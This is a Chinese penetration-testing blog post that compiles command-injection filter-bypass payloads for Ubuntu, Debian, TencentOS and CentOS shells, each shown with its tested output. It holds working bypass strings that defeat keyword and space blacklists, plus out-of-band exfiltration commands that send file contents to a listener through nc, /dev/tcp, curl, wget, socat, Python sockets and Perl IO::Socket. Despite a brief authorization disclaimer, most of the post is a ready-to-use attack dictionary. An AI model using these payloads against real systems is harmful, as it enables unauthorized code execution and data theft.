首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >四大开源 Linux 与 Windows,命令执行绕过方法,RCE绕过篇

四大开源 Linux 与 Windows,命令执行绕过方法,RCE绕过篇

原创
作者头像
HexC2
发布于 2026-11-13 15:05:33
发布于 2026-11-13 15:05:33
90
举报
文章被收录于专栏:渗透测试专栏渗透测试专栏

命令执行是渗透里最值钱的一环,也是最容易被一个糙过滤器挡住的环节。这篇文章不讲思路讲结果——下面每一条 payload 都在真实机器上跑过,命令输出原样贴出,跑不通的写法也一并列出,免得你在目标机上浪费时间。

本文测试环境:

  • Linux A:Ubuntu 24.04.5 LTS,内核 6.8.0-48-generic,Bash 5.2.21,/bin/sh 指向 dash
  • Linux B:Debian GNU/Linux 13(trixie),内核 6.12.41,Bash 5.2.37,/bin/sh 指向 dash
  • Linux C:TencentOS Server 4.2,内核 6.6.30-4.tl4,Bash 5.2.15,/bin/sh 指向 bash
  • Linux D:CentOS 7.6.1810,内核 3.10.0-1160,Bash 4.2.46,/bin/sh 指向 bash
  • Windows:Windows 11(10.0.26300),cmd.exe + PowerShell 5.1
  • 执行上下文:Linux 侧统一用 /bin/sh -c "<payload>",Windows 侧统一用 cmd.exe /c "<payload>",与 PHP system()、ASP.NET Process.Start 的真实调用方式一致

本文所有技术仅用于已获授权的渗透测试、靶场练习与自身系统加固。文中 Windows 输出里的主机名与用户名做了替换,其余字符未改动。

一、不同的操作系统,绕过方法不一样

很多师傅背了一堆 payload 命令,换台机器就不知道咋搞了(虽然现在有AI,但是原理还是必须会),原因只有一个:一直在拿 bash 的结论去套 dash。

PHP 的 system()、exec()、shell_exec()、passthru() 最终都调 popen(),而 popen() 固定用 /bin/sh -c。/bin/sh 是什么,决定了你的 payload 能不能活。

代码语言:javascript
复制
ls -l /bin/sh

Ubuntu 24.04 的实测结果:

代码语言:javascript
复制
lrwxrwxrwx 1 root root 4 Mar 31  2024 /bin/sh -> dash

Debian 默认也是 dash。而 CentOS、RHEL 这类 RHEL 系发行版,/bin/sh 通常指向 bash,行为立刻不同。所以动手前先跑这一条,比背十个 payload 有用。

后面你会发现,$'\x77'、${a:0:4}、${IFS:0:1}、{cat,/etc}、<<< 这一整批写法在 Ubuntu 和 Debian 上全军覆没,就是因为它们在 dash 里根本不存在。

而第四章那台 TencentOS,/bin/sh 直接就是 bash,同一批写法全部可用——这不是玄学,是同一条规则的两面。

二、Ubuntu 24.04

2.1 分隔符与连接符

同一个注入点,能用哪种分隔符,决定了你能不能一次干完多件事。

写法

payload

实测 rc

实测输出

分号

id;whoami

0

uid=0(root) gid=0(root) groups=0(root) + root

与

id&&whoami

0

同分号

或

id\|\|whoami

0

只有 uid=0(...)

管道

id\|whoami

0

只有 root

后台

id&whoami

0

root 与 uid=... 顺序不定

换行

id 换行 whoami

0

同分号

逐条说清差别:

分号是最省事的,前一条失败也照跑:

代码语言:javascript
复制
nosuchcmd;whoami
# sh: 1: nosuchcmd: not found
# root

与要求前一条成功,否则整条链断掉:

代码语言:javascript
复制
nosuchcmd&&whoami
# sh: 1: nosuchcmd: not found
# rc=127,whoami 没执行

或正好相反,前一条成功就不再往后走。这也是为什么用 id||whoami 做探测会误判——id 成功了,whoami 根本没跑。

管道是把左边输出喂给右边。whoami 不读标准输入,所以 id|whoami 只吐出 root,id 的结果被丢掉了。想拿两段结果就换成 ;。

后台符会并发,两段输出的先后顺序不固定,同一台机器连跑几次都不一样:

代码语言:javascript
复制
id&whoami
# root
# uid=0(root) gid=0(root) groups=0(root)

换行在 shell 里等价于分号,这一点在 HTTP 层特别有用,因为 %0a 往往不在过滤器黑名单里。

不成立的分隔符,同样值得记住:

代码语言:javascript
复制
id;&whoami          # sh: Syntax error: "&" unexpected      bash: syntax error near unexpected token `;&'
nosuchcmd|&whoami   # sh: Syntax error: "&" unexpected      bash: root

|& 是 bash 4 引入的写法,意思是把标准错误一起接进管道,dash 完全不认;;& 只在 case 语句里有意义,当分隔符用时两种 shell 都报语法错。用 id|&whoami 去探 Ubuntu 目标,你会以为注入点不存在。

2.2 HTTP 编码层

分隔符在 URL 里要经过一次解码才能到达 shell,这一步的坑最多。用真实请求逐一验证:

代码语言:javascript
复制
curl -s "http://127.0.0.1:8899/?c=id%0awhoami"

请求里的写法

解码后

结果

id%0awhoami

id 换行 whoami

两条都执行,回显完整

id%0d%0awhoami

id\r 换行 whoami

第一条变成 id\r 报 not found,第二条正常

id%09whoami

id 制表符 whoami

制表符不是分隔符,报 id: 'whoami': no such user

id%20%3Bwhoami

id ;whoami

正常执行

whoami+%3Bid

whoami ;id

+ 解码成空格,正常执行

id%0awhoami

id%0awhoami

二次编码没用,shell 把 %0a 当普通字符

两个结论:%0a 是分号的最佳替身;制表符(%09)可以替代空格,但不能替代分隔符,因为 shell 不按制表符切命令,只按它切参数。

2.3 空格绕过

过滤器拦空格是最常见的做法,绕法也最多。

payload

实测输出

说明

cat${IFS}/etc/hostname

sers9OKtP8SXE

首选,dash/bash 通吃

cat$IFS/etc/hostname

sers9OKtP8SXE

等价

cat$IFS$9/etc/hostname

sers9OKtP8SXE

$9 是空位置参数,加它可断开关键字

cat</etc/hostname

sers9OKtP8SXE

重定向,最隐蔽

cat 制表符 /etc/hostname

sers9OKtP8SXE

制表符本身就是 IFS

{cat,/etc/hostname}

sers9OKtP8SXE

仅 bash,dash 报 not found

cat${IFS:0:1}/etc/hostname

sers9OKtP8SXE

仅 bash,dash 报 Bad substitution

反例要记牢:

代码语言:javascript
复制
cat%20/etc/hostname     # sh: 1: cat%20/etc/hostname: not found
cat\ /etc/hostname      # sh: 1: cat /etc/hostname: not found
cat''/etc/hostname      # sh: 1: cat/etc/hostname: not found

%20 是 URL 编码,shell 不认;\ 转义出来的是一个普通空格字符,只会把两个词粘成一个,不是分隔符;'' 拼接得到的是零宽度字符,同样粘成一个词。

还有一个高频误区,认为 $IFS 可以当分号用:

代码语言:javascript
复制
who${IFS}ami
# rc=0,无输出

它确实被展开了,但展开的结果是 who 加参数 ami——who 命令带个非法参数,静默失败。$IFS 只能替代空格,不能替代 ;。

2.4 关键字绕过

过滤器拦 whoami、cat 这类命令名时,核心思路是让 shell 在解析阶段自己把词拼回去,而过滤器看到的是拼之前的字符串。

payload

实测输出

who""ami

root

who''ami

root

who\ami

root

w\h\o\a\m\i

root

who$1ami

root

who$2ami

root

who$*ami

root

who$@ami

root

wh${x}oam${y}i

root

a=who;b=ami;$a$b

root

$(echo whoami)

root

w`echo h`oami

root

$1、$2、$*、$@ 在非交互场景下都是空值,展开后什么都不剩,正好当胶水。${x} 这种没定义过的变量更好用——它天然是空的,而且看起来完全无害。

反例:

代码语言:javascript
复制
who$0ami
# sh: 1: whoshami: not found

$0 是当前 shell 的名字,在 dash 下是 sh,在 bash 下是 bash,拼出来变成 whoshami。这是唯一不能用 $n 系列的场景。

引号还有个硬性规则:必须成对出现,奇数个直接语法错。

代码语言:javascript
复制
w"h"o"a"m"i
# sh: 1: Syntax error: Unterminated quoted string

五个双引号,配对失败。改成两两成对就行:

代码语言:javascript
复制
w""h""o""a""m""i
# root

2.5 通配符

? 匹配单个字符,* 匹配任意长度,[] 匹配字符集。前提是必须给出路径,因为通配符只对当前目录和路径做文件名展开,不会去 PATH 里找命令。

payload

实测输出

/usr/bin/whoam*

root

/usr/bin/whoam?

root

/usr/bin/????mi

root

/u?r/b?n/????mi

root

/*/bin/whoami

root

/usr/bin/[w]hoami

root

[w]hoami

— 报 not found

最后一条是关键坑:[w]hoami 展开时在当前目录找 whoami 文件,找不到就原样保留,然后 shell 拿 [w]hoami 当命令名去 PATH 里找,必然失败。

通配符更大的坑是会匹配到多个文件。这条命令你以为在执行 cat:

代码语言:javascript
复制
/bin/c?t${IFS}/etc/hostname

实际 ls -l /bin/c?t 告诉你有两个结果:

代码语言:javascript
复制
-rwxr-xr-x 1 root root 39384 Aug 25 15:09 /bin/cat
-rwxr-xr-x 1 root root 39432 Aug 25 15:09 /bin/cut

于是命令展开成 cat cut /etc/hostname,cat 把 cut 这个二进制当文件读了,回显是一屏乱码后面才跟着主机名。用 ? 之前先确认唯一性,或者干脆换成 /usr/bin/ca? 这种能锁死的写法。

2.6 编码与变形

被过滤的字符串彻底不能出现时,走编码路线。

Base64 解码后直接交给 shell:

代码语言:javascript
复制
echo d2hvYW1p|base64 -d|sh
# root

十六进制还原:

代码语言:javascript
复制
echo 77686f616d69|xxd -r -p|sh
# root

printf 八进制(dash 可用):

代码语言:javascript
复制
$(printf '\167\150\157\141\155\151')
# root

printf 十六进制(仅 bash):

在 dash 下这条是无效的,\x77 会被原样输出:

代码语言:javascript
复制
printf '\x77\x68\x6f\x61\x6d\x69'
# dash: \x77\x68\x6f\x61\x6d\x69
# bash: whoami

所以 $(printf '\x77...') 在 Ubuntu 上直接报 not found,这个写法只在 /bin/sh -> bash 的机器上成立。

bash 专属的 ANSI-C 引用同样失败:

代码语言:javascript
复制
$'\x77\x68\x6f\x61\x6d\x69'
# sh: 1: $\x77\x68\x6f\x61\x6d\x69: not found

字符串反转,适合被当成关键字拦掉的短命令:

代码语言:javascript
复制
echo imaohw|rev
# whoami

注意方向别搞反。whoami 反过来是 imaohw,我第一次写成 imahow,输出变成了 wohami,白折腾一轮。

2.7 无回显怎么办

命令能执行但拿不到回显,是实战里最常见的形态。四条通道,都在真实机器上跑通了。

nc 反弹,最直接:

代码语言:javascript
复制
cat /etc/hostname | nc 127.0.0.1 8899

接收端实测收到:

代码语言:javascript
复制
sers9OKtP8SXE

/dev/tcp,注意这是 bash 特性,dash 不支持:

代码语言:javascript
复制
bash -c "cat /etc/hostname > /dev/tcp/127.0.0.1/8900"

接收端同样收到 sers9OKtP8SXE。但如果直接拿 dash 跑,报错很明确:

代码语言:javascript
复制
cat /etc/hostname > /dev/tcp/127.0.0.1/8901
# sh: 1: cannot create /dev/tcp/127.0.0.1/8901: Directory nonexistent

HTTP 带外,把结果塞进 URL 查询串,最适合只有出网 80/443 的环境:

代码语言:javascript
复制
curl -s -m 2 "http://127.0.0.1:8902/x?d=$(cat /etc/hostname | tr -d '\n')" >/dev/null

服务端访问日志:

代码语言:javascript
复制
GET /x?d=sers9OKtP8SXE HTTP/1.1

时间盲,什么通道都没有时的兜底。用 date +%s%N 卡首尾,实测 sleep 4 的端到端耗时是 4008 ms:

代码语言:javascript
复制
S=$(date +%s%N); sh -c 'sleep 4'; E=$(date +%s%N)
echo $(( (E-S)/1000000 ))
# 4008

据此可以按字符逐位猜文件内容,一次请求一位,慢但一定能出结果。

2.8 长度限制

遇到过只允许 20 个字符左右的注入点,就不要想着一条命令搞定,分两步:先落地,再执行。

代码语言:javascript
复制
echo d2hvYW1p|base64 -d>a;sh a
# root

> 前面不留空格,整条 30 字符。更短的一条只有 19 字符:

代码语言:javascript
复制
>a echo whoami;sh a
# root

>a 是重定向的空文件创建,; 之后执行。文件名用一个字母,能再省几个字符。

2.9 组合闯关

单项绕过都会被拦,实战永远是叠加。为了验证叠加是否真的有效,我起了一个模拟过滤器,黑名单是:

代码语言:javascript
复制
空格  \t  ;  &  |  cat  whoami  who  flag

目标读 /etc/hostname。同一批 payload 的通过情况:

payload

结果

cat /etc/hostname

BLOCKED:<sp>,cat

cat${IFS}/etc/hostname

BLOCKED:cat

c\at${IFS}/etc/hostname

sers9OKtP8SXE

c""at${IFS}/etc/hostname

sers9OKtP8SXE

c'a't${IFS}/etc/hostname

sers9OKtP8SXE

c[a]t${IFS}/etc/hostname

c[a]t: not found

x=ca换行y=t换行$x$y${IFS}/etc/hostname

sers9OKtP8SXE

wh\oami

root

wh$1oami

root

/usr/bin/????mi

root

能看出叠加的规律:空格交给 ${IFS},关键字交给引号或反斜杠,分号交给换行,三样一组合,黑名单全躲过去。

c[a]t 那条失败的原因在 2.5 说过——没有路径,字符集通配不生效。要写就写 /bin/ca[tu] 之类带路径的形式。

三、Debian 13

同一台机器重装成 Debian 13 之后,我把上面全部用例重跑了一遍。结论可以一句话说完:解析器没变,语法层就不用换字典。

/bin/sh 依然是 dash,所以第二章的每一条规律照搬有效。真正变的是默认装了哪些工具,这会直接卡死你的编码方案和外带通道。

先确认三件事:

代码语言:javascript
复制
cat /etc/os-release | head -2
# PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
# NAME="Debian GNU/Linux"

ls -l /bin/sh
# lrwxrwxrwx 1 root root 4 Feb  4  2025 /bin/sh -> dash

echo $BASH_VERSION
# 5.2.37(1)-release

Bash 从 5.2.21 升到 5.2.37,dash 没动。决定 payload 命运的是 dash,它没变,结论就不会变。

3.1 与 Ubuntu 完全一致的部分

逐条复跑,输出一致。读文件统一指向 /tmp/probe,内容 CMD-BYPASS-OK:

能力

结论

分隔符 ;、&&、\|\|、\|、&、%0a

同 Ubuntu

空格替代 ${IFS}、$IFS$9、<、制表符

同 Ubuntu

{cat,x}、cat${IFS:0:1}

同 Ubuntu,同样失败

关键字:空引号、反斜杠、$1/$*/$@、${x}、变量拼接、$()、反引号

同 Ubuntu

通配符 *、?、[]

同 Ubuntu

base64、printf 八进制、rev

同 Ubuntu

长度限制 >a 落地再 sh a

同 Ubuntu

组合闯关(同一套黑名单)

同 Ubuntu,逐条结果一模一样

连失败的那两条也一样:

代码语言:javascript
复制
sh -c '{cat,/tmp/probe}'
# sh: 1: {cat,/tmp/probe}: not found

sh -c 'cat${IFS:0:1}/tmp/probe'
# sh: 1: Bad substitution

/bin/c?t 依旧撞上 cat 和 cut,坑没变:

代码语言:javascript
复制
ls -l /bin/c?t
# -rwxr-xr-x 1 root root 47592 Jun  4  2025 /bin/cat
# -rwxr-xr-x 1 root root 55752 Jun  4  2025 /bin/cut

从 Ubuntu 换到 Debian,命令拼接这一层一个字都不用改。

3.2 真正不同的地方:默认工具集

语法一样,能用的程序不一样。一条命令扫出来:

代码语言:javascript
复制
for t in base64 xxd rev nc socat busybox curl wget perl python3; do
  command -v $t >/dev/null && echo "有  $t" || echo "缺  $t"
done

工具

Ubuntu 24.04

Debian 13

影响

xxd

有

缺

十六进制还原那条直接废

wget

有

缺

带外少一条通道

busybox

有

缺

busybox 系列 payload 全部不可用

socat

缺

有

Debian 反而多一条反弹通道

nc、curl、base64、rev、perl

有

有

不变

3.3 三个受影响的场景

十六进制还原失效。 这条在 Ubuntu 上回显 root,在 Debian 上直接报错:

代码语言:javascript
复制
echo 77686f616d69|xxd -r -p|sh
# sh: 1: xxd: not found

替代方案用 perl 一行,实测可用:

代码语言:javascript
复制
echo 77686f616d69|perl -pe 's/../chr(hex($&))/ge'|sh
# root

原理是每两个字符取出来按十六进制转成字节,逐段替换。也可以直接用本来就通用的 printf 八进制,不依赖任何外部程序:

代码语言:javascript
复制
$(printf '\167\150\157\141\155\151')
# root

wget 消失,带外只剩 curl。 这条在 Debian 上直接报废:

代码语言:javascript
复制
sh -c 'wget -qO- http://127.0.0.1:9003/'
# /bin/sh: 1: wget: not found

curl 正常,把结果塞进查询串就能带走:

代码语言:javascript
复制
curl -s -m 2 "http://127.0.0.1:9003/x?d=$(cat /tmp/probe)" >/dev/null
# 服务端日志: GET /x?d=CMD-BYPASS-OK HTTP/1.1

socat 反而多了。 Ubuntu 24.04 上没有这个程序,Debian 13 自带,是一条现成的回连通道:

代码语言:javascript
复制
socat - TCP:127.0.0.1:9002 < /tmp/probe

接收端收到 CMD-BYPASS-OK。nc 和 /dev/tcp 的表现与 Ubuntu 一致,后者依旧只在 bash 下成立:

代码语言:javascript
复制
sh -c 'cat /tmp/probe > /dev/tcp/127.0.0.1/9005'
# sh: 1: cannot create /dev/tcp/127.0.0.1/9005: Directory nonexistent

时间盲同样可用,sleep 3 实测 3007 ms,判据和 Ubuntu 没有区别。

3.4 落到字典上怎么改

代码语言:javascript
复制
语法层:不动,直接复用 Ubuntu 那一套
编码层:xxd 换成 perl 一行,或者用 printf 八进制
外带层:wget 换 curl,Debian 上可以额外加 socat

一句话记:Ubuntu 和 Debian 是同一套 shell 语法、两套默认软件包。动手前先把工具扫一遍,比盲目试 payload 快得多。

四、TencentOS Server 4.2

这台是三台里最好打的。原因只有一条:/bin/sh 就是 bash。

前面两章在 Ubuntu 和 Debian 上「全军覆没」的那批写法,到这里全部复活;再叠加 bash 独有的参数展开,能凑出的绕过手段比 dash 环境多一个量级。反过来,这台默认没有 nc、socat、perl、busybox,带外要换思路。

4.1 环境判定

代码语言:javascript
复制
cat /etc/os-release | head -4
# NAME="TencentOS Server"
# VERSION="4.2"
# ID="tencentos"
# ID_LIKE="tencentos"

uname -r
# 6.6.30-4.tl4.x86_64

ls -l /bin/sh
# lrwxrwxrwx. 1 root root 4 Mar 11  2024 /bin/sh -> bash

关键的第二条:

代码语言:javascript
复制
/bin/sh -c 'echo $BASH_VERSION'
# 5.2.15(1)-release

/bin/sh -c 'set -o | grep posix'
# posix         	on

/bin/sh 是 bash 的软链,以 sh 身份启动时进入 POSIX 模式。很多人以为 POSIX 模式会把 bash 特性砍掉,实测并非如此——大括号展开、参数切片、$''、herestring、|& 全都还在。这一点决定了这一章能写多长。

工具集扫一遍:

代码语言:javascript
复制
for t in base64 xxd od hexdump rev nc socat busybox perl curl wget python3 gawk openssl; do
  command -v $t >/dev/null && echo "有  $t" || echo "缺  $t"
done

有

缺

base64、xxd、od、hexdump、rev

nc、ncat、socat

curl、wget、openssl、rsync、iconv

perl、busybox、telnet

python3、gawk、awk、sed、tr、cut

SELinux 状态是 Disabled。

4.2 在 Ubuntu / Debian 上失败、在这台能用的写法

先看冲突最直接的八条,同一批 payload 三台机器的结果:

payload

Ubuntu / Debian(dash)

TencentOS(sh→bash)

{cat,/etc/hostname}

not found

ser565326433348

cat${IFS:0:1}/etc/hostname

Bad substitution

ser565326433348

a=whoami;${a:0:4}${a:4:2}

Bad substitution

root

$'\x77\x68\x6f\x61\x6d\x69'

not found

root

$(printf '\x77\x68\x6f\x61\x6d\x69')

not found

root

echo hi > /dev/tcp/127.0.0.1/9

Directory nonexistent

正常发起连接

rev <<< imaohw

Syntax error: redirection unexpected

whoami

id\|&whoami

Syntax error: "&" unexpected

root

同一份字典,在 Ubuntu 上有一半是废的,在这台上全活。 这就是为什么第一章要先跑 ls -l /bin/sh。

4.3 这台独有的绕过手法

下面按「让过滤器看不到关键字」的思路分组,每条都在机器上跑过。

参数展开:把命令名拆成变量
代码语言:javascript
复制
x=whoami;${x:0:4}${x:4:2}
# root

x=WHOAMI;echo ${x,,}
# whoami

x=whoXmi;echo ${x/X/a}
# whoami

x=y;y=whoami;${!x}
# root

a=(whoami);${a[0]}
# root

x=/usr/bin/whoami;${x##*/}
# root

这六条各有各的用处:

  • ${x:0:4}${x:4:2} 把命令名切成两半再拼回,payload 里没有完整字符串
  • ${x,,} 大小写翻转是最阴的一条——过滤器拦 whoami,但 payload 里写的是 WHOAMI,落地时被翻转成小写
  • ${x/X/a} 字符替换,同理构造 whoXmi 再替换掉 X
  • ${!x} 两级间接引用,命令名连字符都不出现,payload 里只有一个 x
  • ${a[0]} 数组下标,实测在 POSIX 模式下依然可用
  • ${x##*/} 去掉路径前缀,配合绝对路径用
用 ${PATH:0:1} 造斜杠

管道符和关键字都能编码,但 / 往往漏掉。bash 可以把 PATH 的第一个字符取出来当斜杠:

代码语言:javascript
复制
echo ${PATH:0:1}
# /

拼成完整命令,一条 payload 里没有斜杠、没有空格、没有关键字:

代码语言:javascript
复制
${PATH:0:1}bin${PATH:0:1}cat${IFS}${PATH:0:1}etc${PATH:0:1}hostname
# ser565326433348
ANSI-C 引用与 printf

$'...' 这台能用,但有个坑要先记住:

代码语言:javascript
复制
$'\x63\x61\x74'$'\x20'/etc/hostname
# sh: line 1: cat /etc/hostname: No such file or directory

$'\x20' 确实产出一个空格字符,但它和前后拼成同一个词,整条变成一个含空格的文件名。要断开就得用 ${IFS}:

代码语言:javascript
复制
$(printf '\x63\x61\x74')${IFS}/etc/hostname
# ser565326433348

把整条命令十六进制化,连 cat、/、空格都不出现:

代码语言:javascript
复制
printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x6e\x61\x6d\x65\n'|sh
# ser565326433348

算术和 printf 配合,可以逐字符拼出任意命令:

代码语言:javascript
复制
echo $((0x77))
# 119

printf "\\$(printf '%o' $((0x77)))"
# w

还有更省事的,echo -e 直接解转义:

代码语言:javascript
复制
echo -e '\x77\x68\x6f\x61\x6d\x69'
# whoami
换个解释器当跳板

这台没有 perl,但有 gawk 和 python3。当过滤器只盯 shell 元字符(;、|、`、$)时,下面这些完全不触发——因为命令是在别的进程里被调起来的:

代码语言:javascript
复制
awk 'BEGIN{system("whoami")}'
# root

python3 -c "import os;print(os.popen('whoami').read())"
# root

find /etc/hostname -exec cat {} \;
# ser565326433348

xargs -a /etc/hostname
# ser565326433348

sed -n '1p' /etc/hostname
# ser565326433348

find -exec 和 xargs 尤其值得记:它们本身就在执行外部程序,payload 里连管道符都不用。

位置参数与 $_
代码语言:javascript
复制
set -- whoami; $1
# root

echo whoami; $_
# whoami
# root

x=whoami; $x
# root

$_ 保存上一条命令的最后一个参数。echo whoami;$_ 整条 payload 里只有 echo 一个命令名,whoami 是当参数传进去的。

4.4 带外:这台没有 nc

nc、socat、perl 全部缺失,传统的 cat /flag|nc ip port 直接报废。但 /dev/tcp 是 bash 内建,而这台的 sh 就是 bash,所以不用再套一层 bash -c。

五条通道逐条实测,接收端都起了本地监听:

通道

Ubuntu

Debian

TencentOS

nc

有

有

缺

socat

缺

有

缺

/dev/tcp(sh 直接用)

需套 bash -c

需套 bash -c

可直接用

curl

有

有

有

wget

有

缺

有

python3 socket

有

有

有

实测命令与接收端回显:

代码语言:javascript
复制
cat /tmp/mk > /dev/tcp/127.0.0.1/9201
# RECV: TENCENT-MARKER

exec 3<>/dev/tcp/127.0.0.1/9202; echo TENCENT-MARKER >&3; exec 3>&-
# RECV: TENCENT-MARKER

curl -s -m 3 "http://127.0.0.1:9203/x?d=$(cat /tmp/mk)" >/dev/null
# RECV: GET /x?d=TENCENT-MARKER HTTP/1.1

wget -q -T 3 -O- "http://127.0.0.1:9204/x?d=$(cat /tmp/mk)" >/dev/null 2>&1
# RECV: GET /x?d=TENCENT-MARKER HTTP/1.1

python3 -c "import socket;s=socket.socket();s.connect(('127.0.0.1',9205));s.send(open('/tmp/mk','rb').read())"
# RECV: TENCENT-MARKER

exec 3<> 那条单独拎出来说:它只建立一次连接,后续可以反复 >&3 写入,不用每条命令重连,适合在交互式会话里持续取数据。

4.5 极限压缩:黑名单全过

同一套过滤器(拦空格、制表符、;、&、|、cat、whoami、who、flag、base64),目标 /tmp/mk:

payload

结果

cat /tmp/mk

BLOCKED:<sp>,cat

cat${IFS}/tmp/mk

BLOCKED:cat

c\at${IFS}/tmp/mk

TENCENT-MARKER

{cat,/tmp/mk}

BLOCKED:cat

$'\x63\x61\x74'${IFS}/tmp/mk

TENCENT-MARKER

$(printf "\x63\x61\x74")${IFS}/tmp/mk

BLOCKED:<sp>

${PATH:0:1}bin${PATH:0:1}????mi

root

wh$@oami

root

x=whoami;$x

BLOCKED:;,whoami,who

a=who""ami;$a

BLOCKED:;,who

看最后几行:${PATH:0:1}bin${PATH:0:1}????mi 是这台最干净的一条——没有空格、没有斜杠、没有 cat/whoami 的任何片段,斜杠靠 PATH 首字符现取,命令名靠 ? 通配。

注意大括号 {cat,/tmp/mk} 虽然语法上能用,但里面明写着 cat,过滤器照样拦。语法可用不等于绕过可用,这是两件事。

4.6 归纳

代码语言:javascript
复制
Ubuntu / Debian:改 payload 之前先看 /bin/sh 是不是 dash
TencentOS:bash 全功能,手法最多,字典里的 bash 招式全拿出来
          但没 nc,带外首选 /dev/tcp,其次 curl / wget

三台机器横向排下来,绕过难度是递减的:dash 环境要处处避坑,bash 环境只需要躲过滤器。

五、CentOS 7.6

/bin/sh 同样是 bash,但版本是 4.2.46,比 TencentOS 的 5.2.15 老了三代(4.2 → 4.3 → 4.4 → 5.0)。

所以结论是:第四章那套手法基本照搬,但要少用四个新式展开。会踩的坑不在语法结构上,全在 bash 的版本边界上。

5.1 环境判定

代码语言:javascript
复制
cat /etc/centos-release
# CentOS Linux release 7.6.1810 (Core)

uname -r
# 3.10.0-1160.119.1.el7.x86_64

ls -l /bin/sh
# lrwxrwxrwx. 1 root root 4 Aug  7  2020 /bin/sh -> bash

/bin/sh -c 'echo $BASH_VERSION'
# 4.2.46(2)-release

/bin/sh -c 'set -o | grep posix'
# posix         	on

SELinux 是 Disabled,firewalld 没装。glibc 2.17,属于相当老的底子。

工具集:

有

缺

base64、xxd、od、hexdump、rev

nc、ncat、socat、busybox

curl、wget、openssl、iconv、rsync

perl、python(2.7)、python3、gawk、awk、sed

yum、rpm

注意这台同时有 perl 和 python2,TencentOS 上这两样都没有。

5.2 与 TencentOS 完全一致的部分

58 条基础用例跑下来,57 条逐字节一致,唯一不同的那条是 payload 里顺手执行了 w 命令,输出带着时间戳,跟绕过无关。

也就是说第四章 4.3 那一整节在这里原样可用,不用改一个字:

手法

CentOS 7.6 实测

{cat,/etc/hostname}

VM-0-12-centos

cat${IFS:0:1}/etc/hostname

VM-0-12-centos

a=whoami;${a:0:4}${a:4:2}

root

a=WHOAMI;${a,,}

whoami

${!x} 两级间接

root

a=(w h o);${a[1]}

h

$'\x77\x68\x6f\x61\x6d\x69'

root

echo -e '\x77\x68\x6f\x61\x6d\x69'

whoami

${PATH:0:1}bin${PATH:0:1}????mi

root

echo whoami;$_

whoami 加 root

id\|&whoami

root

rev <<< imaohw

whoami

一句话:bash 环境的手法,CentOS 7.6 不用改。

5.3 真正不同的地方:bash 版本悬崖

四个 4.3 之后才有的展开操作符,在这台上直接报错:

写法

引入版本

TencentOS(5.2)

CentOS 7.6(4.2)

declare -n r=x;$r

4.3

root

declare: -n: invalid option

${x@Q}

4.4

'whoami'

${x@Q}: bad substitution

${x@E}

4.4

whoami

bad substitution

${x@U}

5.0

WHOAMI

bad substitution

报错原文:

代码语言:javascript
复制
/bin/sh -c 'x=whoami;declare -n r=x;$r'
# /bin/sh: line 0: declare: -n: invalid option
# declare: usage: declare [-aAfFgilrtux] [-p] [name[=value] ...]

/bin/sh -c 'x=whoami;echo ${x@Q}'
# /bin/sh: ${x@Q}: bad substitution

好消息是这四个本来就不常用——${x@Q} 只是加引号,${x@E} 是展开转义,用得上的场合极少。真正好用的那几个在 4.2 里全都在:

写法

实测

${x^} 首字母大写

Whoami

${x,,} 全小写

whoami

${x//a/A} 全局替换

whoAmi

${x:0:2}${x:2:4} 切片

whoami

${x: -1} 负偏移

i

${!BASH*} 变量前缀

BASH BASHOPTS …

a=(w h o);${a[1]} 数组

h

mapfile -t

正常

printf -v c 'whoami';$c

root

exec {fd}>/dev/null

fd=10

coproc

正常

&>>

正常

$'\u0061\u0062'

ab

判断目标机器属于哪一档,一条命令就够:

代码语言:javascript
复制
sh -c 'echo ${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}'

小于 4.3 就绕开 declare -n,小于 4.4 就绕开 @Q/@E,小于 5.0 就绕开 @U。

5.4 工具差异带来的新打法

这台有 perl,TencentOS 没有,于是多两条路。

perl 当跳板:

代码语言:javascript
复制
perl -e 'system("whoami")'
# root

perl -e 'print `cat /etc/hostname`'
# VM-0-12-centos

python2 也在,写法比 py3 别扭一点,但同样能起:

代码语言:javascript
复制
python -c "import os;os.system('cat /etc/hostname')"
# VM-0-12-centos

python 在这台指向 2.7,print 还是语句不是函数,照抄 py3 的 payload 会报语法错,注意区分。

5.5 带外:四条通道实测

nc / socat / busybox 全缺,但 /dev/tcp 因为 sh 就是 bash,可以直接用。四条通道都起了本地监听,收到的都是 CENTOS-MARKER:

代码语言:javascript
复制
cat /tmp/mk > /dev/tcp/127.0.0.1/9401
# RECV1: CENTOS-MARKER

curl -s -m 3 "http://127.0.0.1:9402/x?d=$(cat /tmp/mk)" >/dev/null
# RECV2: GET /x?d=CENTOS-MARKER HTTP/1.1

wget -q -T 3 -O- "http://127.0.0.1:9403/x?d=$(cat /tmp/mk)" >/dev/null 2>&1
# RECV3: GET /x?d=CENTOS-MARKER HTTP/1.1

perl -e 'use IO::Socket;my $s=IO::Socket::INET->new(PeerAddr=>"127.0.0.1:9404");print $s "CENTOS-MARKER";'
# RECV4: CENTOS-MARKER

最后那条是这台独有的:TencentOS 没有 perl,这条在那边跑不了。当 curl 和 wget 都被删掉时,perl 的 IO::Socket 就是最后的通道。

顺带一句,这台还有 yum:

代码语言:javascript
复制
yum install -y nmap-ncat

能出网的话,一条命令就把 nc 装回来了,比硬编码 /dev/tcp 舒服。不过实战里装包会留痕,看场景取舍。

5.6 黑名单复核

同一套过滤器(拦空格、制表符、;、&、|、cat、whoami、who、flag、base64),结果与 TencentOS 完全重合:

payload

结果

cat /tmp/mk

BLOCKED:<sp>,cat

cat${IFS}/tmp/mk

BLOCKED:cat

c\at${IFS}/tmp/mk

CENTOS-MARKER

{cat,/tmp/mk}

BLOCKED:cat

$'\x63\x61\x74'${IFS}/tmp/mk

CENTOS-MARKER

${PATH:0:1}bin${PATH:0:1}????mi

root

x=whoami;declare -n r=x;$r

BLOCKED

${PATH:0:1}bin${PATH:0:1}????mi 依然是这台上最干净的一条。

5.7 四台 Linux 横向对比

Ubuntu 24.04

Debian 13

TencentOS 4.2

CentOS 7.6

/bin/sh

dash

dash

bash

bash

bash 版本

5.2.21

5.2.37

5.2.15

4.2.46

手法档位

保守

保守

全开

全开减四

{cat,x}

不可用

不可用

可用

可用

${x,,}

不可用

不可用

可用

可用

declare -n

不可用

不可用

可用

不可用

${x@Q}

不可用

不可用

可用

不可用

带外首选

nc

nc / socat

/dev/tcp

/dev/tcp / perl

脚本解释器

perl、python3

perl、python3

python3、gawk

perl、python2、python3

